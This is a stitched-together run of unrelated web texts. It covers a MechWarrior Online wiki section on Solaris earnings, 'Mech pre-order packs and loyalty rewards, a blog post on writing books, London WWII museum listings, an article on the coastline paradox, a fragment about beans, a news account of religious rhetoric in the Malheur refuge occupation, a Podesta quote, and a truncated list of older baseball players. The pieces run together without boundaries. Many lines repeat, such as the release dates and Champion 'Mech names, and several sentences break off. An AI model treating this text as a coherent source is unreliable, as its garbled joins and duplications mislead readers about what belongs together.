Player earnings in Solaris differ slightly from the main game with players receiving C-Bills and XP as before, as well as the new Accolade (ACC) currency that can only be earned by participating in Solaris matches. Patrons are the default revenue stream available to all duelists, with players able to select from one three Patrons - Kallon Industries offering higher amounts of ACC per match, StarCorps Industries offering higher XP per match and Earthwerks Incorporated offering higher C-Bills per match. Patron contracts run for 30 days with players having the option to swap to alternate Patron if they so choose, with players also able to select different Patrons in each division as well. As players earn ACC they "level up" with their selected Patron, earning better payouts and random cosmetic bolt-ons in unqiue Solaris caches for reaching various milestones, each division tracked and leveled up separately.
Sponsors are an additional source of income and ACC, offering Premium Time style percentage boosts to per match Patron earnings. Unlike Patrons which players select by default, the number and quality of sponsors (up to 10 ranging from VEST to Triple-F) is entirely dependent on a player's ELO performance in the arenas in the preceeding twenty-four hours - higher ranked players will keep and gain access to higher paying sponsors where players sliding down the rankings will find sponsors deserting them.
Solaris introduced cosmetic geometric bolt-ons that can be added to a 'Mech such as masks, spikes and pauldrons. Certain bolt-ons are exclusive to certain 'Mechs, earned randomly via Solaris or purchased for MC. Similar to the tabletop concept of Solaris-style cosmetic additions, these bolt-ons offer no real combat benefit, do not take up any additional weight and are instantly destroyed by weapons fire against the location on which they are fitted.
BattleMechs [ edit ]
While very similar and heavily based on the tabletop game's construction system, MWO openly admits to having tweaked and changed armor levels, weapon damage, rate of fire, heat and ammo levels. BattleMech modification in MWO uses a mixture of the tabletop game's critical location tables and MechWarrior 4's hardpoint system, with 'Mechs featuring the familiar table layout but also having restrictions on what type and how many weapons can be placed in certain locations, primarily an attempt to avoid over-optimization and Boating. Restrictions also exist on the size or rating of engine that certain 'Mechs and variants can carry, and if they can mount Jump Jets, ECM or MASC. While the armor and engines of Inner Sphere 'Mechs can be heavily modified, Clan OmniMechs in MWO mimic their tabletop counterparts and feature "hardwired" components as a balancing mechanism. The modular nature of the OmniMech is instead represented in the game by allowing players to swap the hardpoints between configurations, so players can mix and match hardpoint layouts to suit their preference.
Each new player automatically receives four MechBays with which to store purchased BattleMechs, players either having the choice of selling an existing 'Mech to free up a slot or spending MC to purchase additional slots. Players can earn additional Mech Bays for reaching certain loyalty tiers in Community Warfare, and free MechBays are also occasionally offered as rewards for events.
PGI has formally announced the following BattleMechs will be included in MWO. 'Mechs that have been previewed (or are available for pre-order) but not yet released are noted below with an asterisk.
Light 'Mechs [ edit ]
Medium 'Mechs [ edit ]
Heavy 'Mechs [ edit ]
Assault 'Mechs [ edit ]
Pre-order/Promotional Packs [ edit ]
Originally a rarity, pre-order 'Mech packages have become PGI's primary means of funding the continued development and running costs of MechWarrior Online. 'Mech Pre-orders operate as a form of paywall style time-gating - 'Mechs are released to pre-order purchasers first, then made available for MC purchase then finally for C-Bill purchase. While ensuring all 'Mechs and almost all of their variants will be available to non-paying players eventually, the delay has grown to in some cases seven months between pre-order and C-Bill release.
Pre-order packs are also notable for including so-called Special 'Mech variants, though featuring the same stats and hardpoints these special versions of the primary variant feature unique visuals (sometime unique geometry, most often a unique paint scheme) as well as a lifetime per-match 30% boost in C-Bill earnings. These special variants are permanently locked to their included 'Mech Bays and cannot be sold, though they can be stripped and their equipment sold.
Initially billed as available for limited time in an attempt to drive sales, starting with the first Clan Collection the sale of packs became open-ended. Instead collections began to feature early purchaser bonuses such as cockpit items, patterns, C-Bills, modules and decals and in some instances even additional 'Mech variants to entice purchases prior to their in-game release.
Operation Inception - Founders Program [ edit ]
Likened to Kickstarter or other forms of crowd funding, the MWO Founders Program was a method for people to effectively pre-purchase game time and show their support for the game prior to its official release. The program also had the added enticement of Closed Beta access for those who had previously missed out on being selected. Three purchase levels were available (Veteran, Elite and Legendary) which offered a steadily increasing volume of in-game currency, premium account time and unique account/forum tags, Legendary also including the player's name in the game's credits. The Elite and Legendary tiers also offered "Founder's 'Mechs", exclusive versions of the first four playable BattleMechs in MWO (Atlas, Hunchback, Catapult and Jenner), Elite founders having to choose one while Legendary founders received all four. The Founders packs went on sale from June 19th 2012 with delivery from August 7th 2012 before being removed from sale on September 6th 2012.
Project Phoenix [ edit ]
On June 25th, 2013, Piranha Games announced the availability of a series of promotional packages titled "Project Phoenix", featuring four previously-Unseen BattleMechs: The Locust, Shadow Hawk, Thunderbolt, and Battlemaster. The program was expanded on August 28th 2013 with the announcement of the Saber Reinforcement pack, an add-on funding level which added the Griffin and Wolverine to "Project Phoenix". Similar to the original Founders' Program, players were able to choose between several pre-order packages to show their support for the then upcoming 'Community Warfare' expansion. Project Phoenix featured four standard purchase levels (Talon, Storm, Guardian, and Overlord) with the Saber add-on available for purchase after purchasing any one of the existing tiers. The program also had a Phoenix Loyalty Reward system, offering extra exclusive paint jobs and cockpit items as certain funding levels were reached.
Unlike the Founders Program where buyers could select which 'Mech/s they would receive at the Elite tier, each "Phoenix" 'Mech was locked to a specific price tier, with the more expensive tiers also including the 'Mechs from the tiers preceding it, the format most future four-'Mechs collections would follow. Additionally where the Founders Program merely offered the Founder's 'Mechs, Project Phoenix introduced the concept of providing two additional standard variants to allow buyers the means of unlocking the skills for each chassis purchased without additional cost.
The standard Project Phoenix pre-order content was delivered on October 15th 2013, while the Saber Reinforcement content was delivered on December 17th 2013. To date the Project Phoenix packs are the last time-limited pre-order packages, with both packs removed from sale on December 3rd 2013.
The Clan Collection [ edit ]
On December 13th 2013 PGI revealed the long awaited Clan OmniMechs, making them available for pre-ordering.
Initially the Clan Collection was roughly similar to the preceding Project Phoenix promotion, featuring a series of tiers offering a specific Clan 'Mech with its Prime variant (featuring a 30% C-Bill boost) and two standard variants, each higher tier including the 'Mechs in the tiers below it. The higher tiers also include a volume of premium time, exclusive badge and titles, signed prints of the concept art as well as unique bonus modules and an as yet unknown item referred to as Warhorns. A subset of the standard collection is the Gold Khan Collection, which offers a limited edition gold skinned version of a Prime variant along with additional bonuses.
The considerable cost of the higher tiers and Gold Collection triggered extensive level of debate and complaint from many MWO players, eventually prompting PGI to offer an "À La Carte" option, allowing players to purchase the OmniMechs they desired and skip those they did not, albeit without many of the discounts and bonuses of the Collections unless buying multiple in bulk, as well as including the top-tier Masakari Collection with any Gold Khan Collection purchase. Similar to Project Phoenix, the Clan Collection also received a Loyalty Reward system, offering bonus cockpit items and paint schemes was more people bought the Collections, certain items only available to those who bought a collection prior to a set date as further incentive.
Both the standard and gold collections were delivered on June 17th 2014. No end date for the promotion has yet been announced.
On September 15th 2014, PGI revealed 5 new Clan 'Mechs as part of Clan Wave 2. These included the Koshi, Fenris, Loki, Man O' War and as an "ultimate bonus" for those who purchased both the Masakari and Man O' War collections, the Mad Dog.
On February 20th 2015, PGI revealed 4 new Clan 'mechs as part of Clan Wave 3. These included the Arctic Cheetah, Shadow Cat, Ebon Jaguar and Executioner.
The Resistance Collections [ edit ]
Themed as an Inner Sphere response to the Clan Invasion, in mid October 2014 PGI offered a pack featuring four Inner Sphere 'Mechs: the Panther, Enforcer, Grasshopper, and Zeus for pre-order. Similar to the previous Phoenix and Clan pre-orders the pack included a variety of bonuses such as premium time, badges, titles, and faction content depending on the tier purchased. The faction content consisted of patterns, colors, warhorns, cockpit standing and hanging items for each of the six Inner Sphere factions. Delivery of the Resistance 'Mechs was staggered, with the Panther and Enforcer released February 17th 2015 while the Grasshopper and Zeus were released on March 15th 2015.
On the 29th April 2015, PGI announced the Resistance II Collection, including four new Inner Sphere 'Mechs: the Wolfhound, Crab, Black Knight and Mauler for pre-order. Offering similar faction content as the first Resistance collection, Resistance II also adopted the concept of a fourth variant only available for free within the Early Adopter period. The second Resistance Collection also had two additional Early Adopter pre-order inducements for players who also purchased the top-tier Resistance I Wraith and Resistance II Mauler packs, the first "Irresistible Deals" retro-actively offered additional fourth variants of the four Resistance I 'Mechs while the second was called the "Blood Pact" which offered an exclusive title, badge, cockpit item and pattern unlocks for the all eight Resistance 'Mechs. All 'Mechs, badges, and cockpit items were delivered by October 6, 2015.
Single 'Mech Packs [ edit ]
Offering a single 'Mech chassis rather than the four of previous collections, the first single 'Mech pack was the UrbanMech, developed and sold individually out concern such niche design would not be as popular as the MWO fanbase indicated or even viable on the battlefield. PGI started to switch to permanently to single packs with the so-called "Classics", PGI's versions of the Macross Unseen coinciding with the announcement of Catalyst Game Lab's development of new IP-friendly "Classic" re-designs. All succeeding releases, Clan or Inner Sphere, have been such single chassis packs.
Unlike the four 'Mech packs, the single packs are available in lower cost Standard and more expensive Collector variations, with the Special variation of the primary variant only available in the Collector tier. Starting with the initial Marauder pack, the single chassis packs also included the ability to purchase the Hero 'Mech for that chassis at a discount, and since the Kodiak pack the option of buying additional Reinforcement variants has also been provided. Similar to Project Phoenix's Saber add-on, the Reinforcement and Hero add-ons are only available for purchase if the buyer has purchased at least the respective Standard tier for that chassis.
UrbanMech - On sale January 20th 2015 - Release April 7th 2015
- On sale January 20th 2015 - Release April 7th 2015 Marauder - On sale September 10th 2015 - Released December 1st 2015
- On sale September 10th 2015 - Released December 1st 2015 Warhammer - On sale September 28th 2015 - Released January 19th 2016
- On sale September 28th 2015 - Released January 19th 2016 Rifleman - On sale November 5th 2015 - Released February 16th 2016
- On sale November 5th 2015 - Released February 16th 2016 Archer - On sale December 15th 2015 - Released March 15th 2016
- On sale December 15th 2015 - Released March 15th 2016 Kodiak - On sale February 1st 2016 - Released May 17th 2016
- On sale February 1st 2016 - Released May 17th 2016 Phoenix Hawk - On sale February 25th 2016 - Released June 21st 2016
- On sale February 25th 2016 - Released June 21st 2016 Viper - On sale April 5th 2016 - Released July 19th 2016
- On sale April 5th 2016 - Released July 19th 2016 Cyclops - On sale April 19th 2016 - Released August 23rd 2016
- On sale April 19th 2016 - Released August 23rd 2016 Night Gyr - On sale May 2nd 2016 - Released September 20th 2016
- On sale May 2nd 2016 - Released September 20th 2016 Huntsman - On sale June 13th 2016 - Released October 18th 2016
- On sale June 13th 2016 - Released October 18th 2016 Linebacker - On sale June 29th 2016 - Released November 15th 2016
- On sale June 29th 2016 - Released November 15th 2016 Marauder IIC - On sale August 24th 2016 - Released December 13th 2016
- On sale August 24th 2016 - Released December 13th 2016 Bushwacker - On sale September 7th 2016 - Released January 24th 2017
- On sale September 7th 2016 - Released January 24th 2017 Supernova - On sale October 5th 2016 - Released February 21st 2017
- On sale October 5th 2016 - Released February 21st 2017 Assassin - On sale November 5th 2016 - Releases March 21st 2017
- On sale November 5th 2016 - Releases March 21st 2017 Roughneck - On sale November 29th 2016 - Releases April 18th 2017
- On sale November 29th 2016 - Releases April 18th 2017 Javelin - On sale January 17th 2017 - Release May 16th 2017
Other 'Mech Collections [ edit ]
Trial 'Mechs [ edit ]
MWO has a selection of sixteen Trial 'Mechs, two per each weight class for both Inner Sphere and Clans technology bases, that can be used at no cost. This also offers players the ability to try 'Mech types and variants before outlaying money to permanently purchase them. The primary downside with Trial 'Mechs is that their loadouts cannot be modified, placing them at a disadvantage against the customized and optimized 'Mechs used by the majority of MWO players. Also, while Trial 'Mechs earn C-Bills and XP as normal, players cannot spend the MXP earned while using them until they purchase that specific variant, with Trial 'Mechs permanently functioning as if no skill trees have been unlocked.
Hero 'Mechs [ edit ]
Similar in concept to Founder's 'Mechs, Hero 'Mechs are exclusive variants which can only be purchased for MC rather than C-Bills, offering both a unique paint scheme, a per-match C-Bill booster (currently 30%), and a custom hardpoint layout. Generally the intention is to showcase known historical or notable 'Mechs and MechWarriors from the BattleTech universe, but new custom 'Mechs unique to MechWarrior Online have also been introduced.
Notably, the descriptive texts for the Hero 'Mechs have since been declared fully canonical for the BattleTech universe. MWO Hero 'Mechs are invariably customized to some degree even when there was no indication in the original source material that the 'Mech in question was anything but a regular model, potentially creating a retcon.
Champion 'Mechs [ edit ]
A mid-way point between MWO's stock 'Mechs and Hero 'Mechs, Champion 'Mechs are variations of a specific standard variant with a custom loadout and include a 30% XP bonus, purchasable only with MC. While the included weapons and equipment of each Champion variant differs from their standard counterparts, with loadouts based on the most popular or successful custom loadouts developed by players, they feature the same hardpoint layout as the variant upon which they are based unlike the unique hardpoints of Hero 'Mechs.
Atlas AS7-RS(C)
AS7-RS(C) Banshee BNC-3M (C)
BNC-3M (C) Blackjack BJ-1(C)
BJ-1(C) Cataphract CTF-3D(C)
CTF-3D(C) Catapult CPLT-A1(C)
CPLT-A1(C) Centurion CN9-A(C)
CN9-A(C) Cicada CDA-2A(C)
CDA-2A(C) Dragon DRG-5N(C)
DRG-5N(C) Firestarter FS9-S(C)
FS9-S(C) Griffin GRF-1S (C)
GRF-1S (C) Highlander HGN-733C(C)
HGN-733C(C) Hunchback HBK-4P(C)
HBK-4P(C) JagerMech JM6-A (C)
JM6-A (C) Jenner JR7-F(C)
JR7-F(C) Kintaro KTO-18(C)
KTO-18(C) Orion ON1-K(C)
ON1-K(C) Quickdraw QKD-4G (C)
QKD-4G (C) Raven RVN-3L (C)
RVN-3L (C) Shadowhawk SHD-2H(C)
SHD-2H(C) Spider SDR-5K(C)
SDR-5K(C) Stalker STK-3F(C)
STK-3F(C) Thunderbolt TDR-9SE (C)
TDR-9SE (C) Trebuchet TBT-7M (C)
TBT-7M (C) Victor VTR-9S(C)
VTR-9S(C) Wolverine WVR-6K (C)
Sarah's Jenner [ edit ]
Sarah's Jenner (also referred to as "Sarah's 'Mech") was an exclusive charity offering by PGI in 2013 where all proceeds were donated to the Canadian Cancer Society. Between the beginning of the campaign on 23 July 2013 and its closing on 20 August, it raised 122,200 US$.[3] It was named for Sarah Parries, a girl who had died from cancer at the age of 5 and who had liked to play MWO (particularly the Jenner) with her father.
This 'Mech, designated JR7-D(S), is technically a JR-7D Jenner (in the MWO sense, featuring a 300XL engine, Streak SRMs, and a Beagle Active Probe in its basic configuration) with some minor quirks, and its camo pattern includes teddy bears, unicorns, rainbows, and similar imagery. As far as can be determined, it is not a Hero 'Mech but a special 'Mech unto its own.
Customer Appreciation - Loyalty 'Mechs [ edit ]
Starting in 2014, PGI celebrates the date MechWarrior Online left Open Beta as the game's effective birthday with in-game gifts provided to both active players and paying customers. Players who have played at least 100 matches within the eligibility date receive two million C-Bills, a 'Mech Bay and a birthday cupcake cockpit item. Those who purchased MC or had purchased one of the pre-order package within the eligibility dates also receive exclusive Loyalty 'Mechs, variants of existing or soon to be released 'Mechs which feature Special/Hero 'Mech style unique paint or geometry and 30% C-Bill bonus. The non-Loyalty versions of these variants are normally released in the lead-up next anniversary event.
2014: CN9-AH(L) Centurion (Purchased MC) - AS7-S(L) Atlas (Purchased any pre-order collection) - KGC-000(L) King Crab (Purchased any top tier collection)[15]
(Purchased MC) - AS7-S(L) (Purchased any pre-order collection) - KGC-000(L) (Purchased any top tier collection)[15] 2015: CDA-3F(L) Cicada (Purchased MC) - WVR-7D(L) Wolverine (Purchased any Inner Sphere collection/A La Carte) - Nova -D(L) (Purchased any Clan collection/A La Carte) - ZEU-9S2(L) Zeus (Purchased top tier IS collection) - Executioner -C(L) (Purchased top tier Clan collection)[16]
(Purchased MC) - WVR-7D(L) (Purchased any Inner Sphere collection/A La Carte) - -D(L) (Purchased any Clan collection/A La Carte) - ZEU-9S2(L) (Purchased top tier IS collection) - -C(L) (Purchased top tier Clan collection)[16] 2016: BJ-2(L) Blackjack (Purchased MC) - CTL-3L(L) Cataphract (Purchased any Inner Sphere collection) - Hellbringer -F (Purchase any Clan collection) - STK-3Fb(L) Stalker (Purchased 1 Top Tier or 2 IS Collectors Level Inner Sphere Pack/s) - Summoner -F and M (Purchase top tier Clan collection/2 Clan Collectors packs) - Ultimate Reward (Top Tier IS and Clans)[17]
(Purchased MC) - CTL-3L(L) (Purchased any Inner Sphere collection) - -F (Purchase any Clan collection) - STK-3Fb(L) (Purchased 1 Top Tier or 2 IS Collectors Level Inner Sphere Pack/s) - -F and M (Purchase top tier Clan collection/2 Clan Collectors packs) - Ultimate Reward (Top Tier IS and Clans)[17] 2017: UM-R68(L) UrbanMech (Purchased MC) - GRF-5M(L) Griffin (Purchased any Inner Sphere collection) - Kit Fox -G(L) (Purchase any Clan collection) - VTR-9A1(L) Victor (Purchased 1 Top Tier or 2 IS Collectors Level Inner Sphere Pack/s or six Resistance Hero 'Mechs) - Linebacker -H(L) (Purchase top tier Clan collection/2 Clan Collectors packs or 6 Clan Hero 'Mechs) - Ultimate Reward (Top Tier IS and Clans)[18]
(Purchased MC) - GRF-5M(L) (Purchased any Inner Sphere collection) - -G(L) (Purchase any Clan collection) - VTR-9A1(L) (Purchased 1 Top Tier or 2 IS Collectors Level Inner Sphere Pack/s or six Resistance Hero 'Mechs) - -H(L) (Purchase top tier Clan collection/2 Clan Collectors packs or 6 Clan Hero 'Mechs) - Ultimate Reward (Top Tier IS and Clans)[18] 2018: JVN-11F(L) Javelin (Purchased MC) - RFL-8D(L) Rifleman (Purchased any Inner Sphere collection) - Night Gyr-H(L) (Purchase any Clan collection) - WHM-4L(L) Warhammer (Purchased 1 Top Tier or 2 IS Collectors Level Inner Sphere Pack/s or six Resistance Hero 'Mechs) - Marauder IIC-2(L) (Purchase top tier Clan collection/2 Clan Collectors packs or 6 Clan Hero 'Mechs) - Ultimate Reward (Top Tier IS and Clans)[19]
Official Web Resources [ edit ]
Fan Sites [ edit ]
References [ edit ]
Media [ edit ]
Writing a book is easy. I’ve written three and therefore – by definition – it’s easy. If I can do it, anyone can. Yes, it does take some “stick-to-in-ness” but there’s nothing difficult about it. After all, a book is just telling a story except instead of speaking you write it down.
Now I can almost hear you objecting, “Yeah, what about writing a good book? Anyone can write a book, but it takes talent and hard work to write a good book?”
Well, I have to counter by asking, “What’s your definition of a good book?”
Here’s my definition … it’s a good book if you – the author – like it! Therefore, you can write a good book. The only requirement is you gotta like it. If you like it … it’s a good book. Keep in mind, many famous, classic and popular books were first rejected by the so-called “experts.” Don’t let the naysayers throw you off. You’re the boss, you’re the judge, you’re in charge. If you like it – dog gone it – it’s good!
So, with this definition, I can confidently say that I’ve written three good books. And, I can also confidently say – it was easy.
Here are 4 steps to writing a good book.
Look back on your life and remember a story, incident, or event worth telling. Pick one. This is your subject. Make a list of all the parts you want to include. These parts make up your chapters. Start writing like crazy. Whatever comes to your mind. Forget spelling, punctuation, grammar – totally block out your grade school English teacher – and keep writing. Go wild, tell it the way you want to tell it, don’t hold back. This is the “throw mud on the wall” phase. Keep it fun. Write because you want to write, not because you have to write. Edit. Go over your story from start to finish. This is where you’ll be surprised. You’ll discover your writing is not as terrible as you thought. You’ll find yourself saying, “Hey, that’s not bad, not nearly as bad as I thought it was, some of this stuff is pretty good … let’s get this thing polished up!” Go forth and polish it up. Stay at this step until you make the transition … from “This is crap” to “I like it.” When you finally break through and declare, “I like it!” you’re done.
That’s it. You’ll have written a good book.
Imperial War Museum – London
Part of the Imperial War Museums, the London museum focuses on modern conflicts from World War I to the present day. Needless to say, the museum has an extensive collection of items from World War II and some of the permanent exhibits include: the Holocaust Exhibition, Turing Points: 1934 – 1945 (focusing on key moments in the war through people’s lives), Witnesses to War (largely a display of the weapons of war), and A Family in Wartime (spotlighting the effects of the war on everyday Londoners). After you’re finished with World War II, you can move onto the Cold War and see how the shifting alliances at the end of the war helped to set up the political conflict with the Soviet Union. The museum is funded by government grants, charitable donations, and commercial activity, so there’s no cost to enter.
HMS Belfast
Another site for the Imperial War Museums, the HMS Belfast was commissioned less than a month before the Nazis invaded Poland and saw service throughout the war. She saw conflict in both theatres escorting convoys, hunting German U-Boats, capturing prize ships, engaging German battleships, and protecting Australia from the Japanese navy. Today, visitors can explore the nine decks of the ship and experience how the crew performed its duties in times of war as well as in peacetime. In addition to its permanent exhibits, the Belfast regularly holds fun activities and has a bar onboard to enjoy a pint after you’re finished with the tour. Unlike the IWM, London, HMS Belfast does have a ticket cost of £16.
Churchill War Rooms
The Churchill Warm Rooms is another of the Imperial War Museums dedicated to exhibiting the government’s nerve centre during World War II. With the very real belief that Germany would launch a bombing campaign against the British capital, the government converted the basement of the New Public Offices building into a protected bunker that housed the Central Warm Room, a vital base for the Cabinet as well as the offices for the chiefs of staff of the armed forces. Churchill held 115 cabinet meetings in the Central War Room, which also included a dormitory for staff, private bedrooms for important government officials and military officers, and a switchboard for telephone operators. In the modern day, the War Rooms have been preserved and there is also a permanent exhibit on Prime Minister Churchill. The cost to enter with a donation is £19 and without is £17.50
RAF Museum – Hendon
A little ways north of Hendon Central Station is the Royal Air Force Museum, which for no entry cost features an incredible array of British and American fighter planes and bombers, a History of Aviation exhibit, and a fun flight simulator. What will interest the World War II buff most, however, is the Battle of Britain Hall. Fought from 10 July to 31 October 1940, these series of dogfights for supremacy over Britain’s skies (including London), helped to push back against the German advance, ultimately forcing Hitler to cancel his invasion of Britain and turn his attention to Russia instead. The Battle of Britain Hall not only includes famous British and German aircraft from the conflict, there are exhibits dedicated to artwork of the Battle, the restoration of a Dornier Do 17, and unseen footage from the 1968 film, The Battle of Britain.
Blitzwalkers
The London Blitz was one of the biggest events for the war in the city and perhaps had the greatest impact of any moment over the six-year period. Blitzwalkers is a walking tour of areas affected by the German bombing that raged from 7 September 1940 to 10 May 1941. In addition to the stories told by the tour guides, the Blitz is brought to life through “then and now” photos of areas affected by the bombs as well as shrapnel and other exhibits. There are several walks available that cover the various boroughs of London, from Bermondsey to Clerkenwall (by request only). In addition to their walking tours, Blitzwalkers maintains a blog with plenty of information about the time period.
The coastline paradox is the counterintuitive observation that the coastline of a landmass does not have a well-defined length. This results from the fractal-like properties of coastlines, i.e., the fact that a coastline typically has a fractal dimension (which in fact makes the notion of length inapplicable). The first recorded observation of this phenomenon was by Lewis Fry Richardson[1] and it was expanded upon by Benoit Mandelbrot.[2]
The measured length of the coastline depends on the method used to measure it and the degree of cartographic generalization. Since a landmass has features at all scales, from hundreds of kilometers in size to tiny fractions of a millimeter and below, there is no obvious size of the smallest feature that should be taken into consideration when measuring, and hence no single well-defined perimeter to the landmass. Various approximations exist when specific assumptions are made about minimum feature size.
The problem is fundamentally different from the measurement of other, simpler edges. It is possible, for example, to accurately measure the length of a straight, idealized metal bar by using a measurement device to determine that the length is less than a certain amount and greater than another amount—that is, to measure it within a certain degree of uncertainty. The more accurate the measurement device, the closer results will be to the true length of the edge. When measuring a coastline, however, the issue is that the result does not increase in accuracy for an increase in measurement —it only increases; unlike with the metal bar, there is no way to obtain a maximum value for the length of the coastline.
Mathematical aspects [ edit ]
The basic concept of length originates from Euclidean distance. In Euclidean geometry, a straight line represents the shortest distance between two points. This line has only one length. On the surface of a sphere, this is replaced by the geodesic length (also called the great circle length), which is measured along the surface curve that exists in the plane containing both endpoints and the center of the sphere. The length of basic curves is more complicated but can also be calculated. Measuring with rulers, one can approximate the length of a curve by adding the sum of the straight lines which connect the points:
Using a few straight lines to approximate the length of a curve will produce an estimate lower than the true length; when increasingly short (and thus more numerous) lines are used, the sum approaches the curve's true length. A precise value for this length can be found using calculus, the branch of mathematics enabling the calculation of infinitesimally small distances. The following animation illustrates how a smooth curve can be meaningfully assigned a precise length:
However, not all curves can be measured in this way. A fractal is, by definition, a curve whose complexity changes with measurement scale. Whereas approximations of a smooth curve tend to a single value as measurement precision increases, the measured value for a fractal does not converge.
area enclosed by the curve does converge to a precise figure—just as, analogously, the This Sierpiński curve (a type of Space-filling curve ), which repeats the same pattern on a smaller and smaller scale, continues to increase in length. If understood to iterate within an infinitely subdivisible geometric space, its length tends to infinity. At the same time, theenclosed by the curveconverge to a precise figure—just as, analogously, the land mass of an island can be calculated more easily than the length of its coastline.
As the length of a fractal curve always diverges to infinity, if one were to measure a coastline with infinite or near-infinite resolution, the length of the infinitely short kinks in the coastline would add up to infinity.[3] However, this figure relies on the assumption that space can be subdivided into infinitesimal sections. The truth value of this assumption—which underlies Euclidean geometry and serves as a useful model in everyday measurement—is a matter of philosophical speculation, and may or may not reflect the changing realities of "space" and "distance" on the atomic level (approximately the scale of a nanometer). For instance, the Planck length, many orders of magnitude smaller than an atom, is proposed as the smallest measurable unit possible in the universe.
Coastlines are less definite in their construction than idealized fractals such as the Mandelbrot set because they are formed by various natural events that create patterns in statistically random ways, whereas idealized fractals are formed through repeated iterations of simple, formulaic sequences.[4]
Practicality [ edit ]
In actuality, the concept of an infinite fractal is not applicable to a coastline; as progressively more accurate measurement devices are used (with the measurement result growing every time), other, practical problems with measurement emerge.
The sea is in constant motion, meaning there is no fixed "coastline".
Even if the sea's movement could be halted while measurement took place, there would be no way (beyond arbitrary decisions) to define where the coastline lies in terms of river outflow. A measurement including the entire banks of every river that extends into a landmass would conflict with many interpretations of a coastline, yet no established technique exists for selecting an arbitrary line where river becomes sea.
the sea's movement could be halted while measurement took place, there would be no way (beyond arbitrary decisions) to define where the coastline lies in terms of river outflow. A measurement including the entire banks of every river that extends into a landmass would conflict with many interpretations of a coastline, yet no established technique exists for selecting an arbitrary line where river becomes sea. Even if the issue of rivers were overcome, it would still be impossible to decide which the boundary between land and water is, as land may be wet but not submerged.
the issue of rivers were overcome, it would still be impossible to decide which the boundary between land and water is, as land may be wet but not submerged. Even if such a definition could be agreed upon, as increasingly accurate measurement is performed, the problem of measuring the boundary of an atom—which ultimately does not have a defined boundary—arises. Even in the classical model of an atom, which assumes atoms are composed of individual solid particles, most of an atom is made up of the space between these particles. This problem is further exacerbated when other, more modern models of the atom are considered.
See also [ edit ]
References [ edit ]
You can put them in a chili, soup, or stew, make a salad with them, refry them for burritos or other mexican foods, or puree them with olive oil and spices to make hummus or bean dip. You can also eat beans as tofu or beans as beans. And there are many different types of beans to keep your taste buds happy.
However, the opportunity to collect some compelling new material wasn't the only reason Carrier made the trip. He wanted to confirm his suspicion that the takeover of the refuge wasn't just a political act, but a religious one as well.
In newspapers and radio reports, Carrier recognized something in what the men were saying that he was intimately familiar with: The rhetoric of Mormonism, or the Church of Latter-Day Saints. Carrier knows such rhetoric well thanks to living in Salt Lake City, the headquarters of the LDS church and the home of a large population of Mormons.
When Carrier arrived at the Malheur National Wildlife Refuge, he quickly found a member of the militia to speak with: Brand Thornton, who had driven up from Las Vegas to join Ammon Bundy and others in the standoff. Carrier asked Thornton whether the people involved in the takeover were Mormon.
The militia member confirmed: "We've got quite a few current LDS."
Thornton was quick to note that his views were solely his own. But those views present a fascinating — and at times, downright strange — portrait of the spiritual life of the compound.
According to Thornton, spirituality wasn't secondary to the group's mission — it was a central part of it.
"I have to call this a spiritual organization," he said. "Really, we don't have any leaders, per se."
He added: "The spirit of god is the leader. And Ammon (Bundy) received that spiritual message and he conveys it."
When Carrier asked about the justification for the occupation, Thornton referenced the Declaration of Independence, saying, "When government becomes corrupted, you actually have the sacred obligation and responsibility to replace that government." But when Carrier asked about the religious justification, Thornton cited Section 98 of the LDS "Doctine and Covenants," a sacred text that comprises revelations to the Mormon prophets, particularly Joseph Smith.
In Thornton's interpretation of this section, when the government commits egregious acts, the first step of the people is to petition the government. But if those petitions go unanswered, it's possible to do something called a "priestly curse" — a process that involves a person petitioning the Lord against their oppressors while washing their own feet. Thornton told Carrier that when he got to the Malheur National Wildlife Refuge, it was the first thing he did.
Thornton also cited religious texts from the LDS church when describing what he believed to be federal overreach.
"We were promised in the Book of Mormon that there would never be a king on this land," Thornton said. "But you're seeing attempts to establish a king on this land."
When Carrier asked Thornton if this entire occupation was a mission from God, he didn't hesitate in his response: "Absolutely, God told us to do this," he said.
Reflecting on the interview a few weeks later, Carrier said that it was specifically these religious elements — and the lack of reporting on them — that he found troubling.
"They are kind of crazy, from my point of view, because they are getting directions from God," he said. "You can't be reasonable when it's not reason that's driving you on, it's the will of God."
According to an Associated Press report, Brand Thornton left the compound on Monday, before the subsequent series of events that dramatically changed the situation at the reserve. Law enforcement officers arrested Ammon Bundy and several other members of the group Tuesday after they'd been pulled over during a traffic stop. During the incident, gunfire resulted in the death of militia member LaVoy Finicum. On Thursday, officers arrested three more people, leaving estimates of the amount of occupiers left at the wildlife refuge down to five or less. Earlier this month, the LDS church issued an official statement distancing themselves from the group's assertions.
When asked by CNN’s Alisyn Camerota about President Trump continuing to bring up Hillary Clinton, despite already beating her in the presidential race, Podesta said, “It’s unprecedented. You never saw that behavior from any other president who’s talking about the person they beat.”
“I think it really just bugs the hell out of him that she got three million more votes than he did and he keeps coming back to that,” he added.
Podesta then revealed, “obviously we bear the burden of having lost the Electoral College, so I lose sleep about that every night.”
We may soon learn more about why the Clinton team thought they lost.
Hillary Clinton’s new book, “What Happened,” is due out on September 12th and will reportedly be “cautionary tale” about Russia’ interference.
A.J. Pierzynski – 39
Born December 30, 1976, Pierzynski is with the Atlanta Braves for a second season, starting out his 19th season in the majors. He’s played for the Twins, Giants, White Sox, Red Sox, Rangers and Cardinals over his career, winning the World Series in 2005 with the Chi Sox, making the All-Star game twice and winning the Silver Slugger award in 2012. He should get to the 2000 career games played this season.
Jason Grilli – 39
Born November 11, 1976, Grilli is also a Braves player for a second straight season, playing almost exclusively as a reliever since beginning his major league career way back in 2000 with the Marlins. He’s played for the White Sox, Tigers, Rockies, Rangers, Pirates and Angels as well, doing a solid job but never truly standing out. He had a 2.94 ERA (career is 4.10) last season for the Braves, finishing with 24 saves, also posting one of his best seasons in terms of strikeouts per walks. He has one All-Star appearance.
Matt Thornton – 39
Born September 15, 1976, Thornton has been in the majors since 2004, playing for the Mariners, White Sox, Red Sox, Yankees and Nationals, joining the San Diego Padres for this season. An All-Star in 2010, he has a career ERA of 3.35 (2.18 last season in Washington). His strikeout rate keeps declining, falling to career low of 5 per nine innings last season.
Joel Peralta – 40
The right handed reliever was born on March 23, 1976. He’s been in the majors since 2005, playing for the Angels, Royals, Rockies, Nationals, Rays, Dodgers and this season he’s with the Mariners, signing a one-year deal worth $1.25 million.
David Ortiz – 40
